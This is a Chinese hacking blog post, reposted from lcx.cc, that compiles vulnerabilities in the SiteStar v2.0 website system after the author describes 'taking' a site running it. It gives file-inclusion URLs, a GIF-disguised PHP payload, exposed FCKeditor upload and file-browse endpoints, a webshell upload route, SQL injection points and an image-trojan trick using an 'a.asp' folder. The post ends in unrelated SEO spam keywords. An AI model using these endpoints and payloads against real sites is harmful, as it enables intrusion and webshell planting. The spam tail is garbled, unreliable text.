原文http://lcx.cc/?i=2324
前两天拿个站，
系统是：建站之星 (SiteStar)
v2.0，自己看了看，又综合了网上的各种漏洞，整理了一份漏洞大全，这套程序浑身都是窟窿，无语中……
记录时间：
2012-3-10 14:24:43
By: Nuclear'Atk, Url: Http://lcx.cc/
程序名称：
建站之星 (SiteStar) v2.0
建站之星 SiteStar 网站管理系统 v2.0
漏洞详情：
1、本地任意文件包含漏洞：
http://127.0.0.1/index.php?_m=/../robots.txt.htmlmod_product&_a=prdlist
详细：http://lcx.cc/?FoxNews=2319.html 问题出在：/library/content.PHP,
行：14。
利用：配合文件上传，上传图片，可以瞬间拿下。
图片：GIF89a<?php phpinfo();?>
2、在线编辑器：
http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
可以上传图片、浏览文件、新建文件夹等。
3、任意文件上传漏洞：
漏洞产生在 /script/multiupload/uploadify.php 文件。
低级失误，通过构造html表单可直接上传webshell至web目录。
详细：http://lcx.cc/?FoxNews=2320.html
4、Sql 注入漏洞：
地址：
http://192.168.1.2/index.php?_m=mod_product&_a=prdlist&cap_id=46%Inject_Here%
http://192.168.1.2/index.php?_m=mod_product&_a=view&p_id=56%Inject_Here%
数据库类型：MySQL time based injection
参数类型：Integer
其他漏洞：
路径 {
http://127.0.0.1/admin/
http://127.0.0.1/admin/index.php
http://127.0.0.1/admin/FCKeditor/
http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
}
漏洞 {
任意文件包含：http://127.0.0.1/index.php?_m=/../robots.txt.htmlmod_product&_a=prdlist
Sql
注入漏洞：http://127.0.0.1/index.php?_m=mod_product&_a=prdlist&cap_id=37%Inject_Here%
}
编辑器 {
编辑器：http://127.0.0.1/admin/fckeditor/editor/fckeditor.html
上传：http://127.0.0.1/admin/fckeditor/browser/browser.html?Connector=connector.php
包含：http://127.0.0.1/index.php?_m=/../index.php.htmlmod_product&_a=prdlist
文件浏览：http://127.0.0.1/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
上传路径：/admin/fckeditor/browser/../../../upload/file/baidu_sylogo1.gif
可以创建 a.asp 目录，上传图片木马。
各种路径(太多了，只记了部分) {
/admin/fckeditor/browser/browser.html?Connector=connector.php
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Flash&CurrentFolder=/
/admin/fckeditor/browser/connector.php?Command=GetFoldersAndFiles&Type=Media&CurrentFolder=/
}
}
最美情侣高清免费视频播放大型户外广告设计公司快懂百科登录入口站长工具seo综合查询方法沈阳好的互联网设计手机系统客服在哪alexa排名查询的特点营销网站制作郑州app企业微信下载十个免费域名国家疫情防控中心官网企业邮箱号是什么样的格式奇迹网页游戏排行app软件做得比较好的公司工业设计师年薪60万找推广平台需要多少钱网站 营销型权威的网页设计公司辽宁建设工程信息网评标专家账号找回标志设计在线生成天津智能网站建设找哪家网页游戏开服表就上囧游村传媒公司产品宣传片永春网页设计网页论坛怎么实现公司简介ppt模板范文免费建筑人才网哪些流程图制作网页qq是哪个公司五大建设的主要内容心理咨询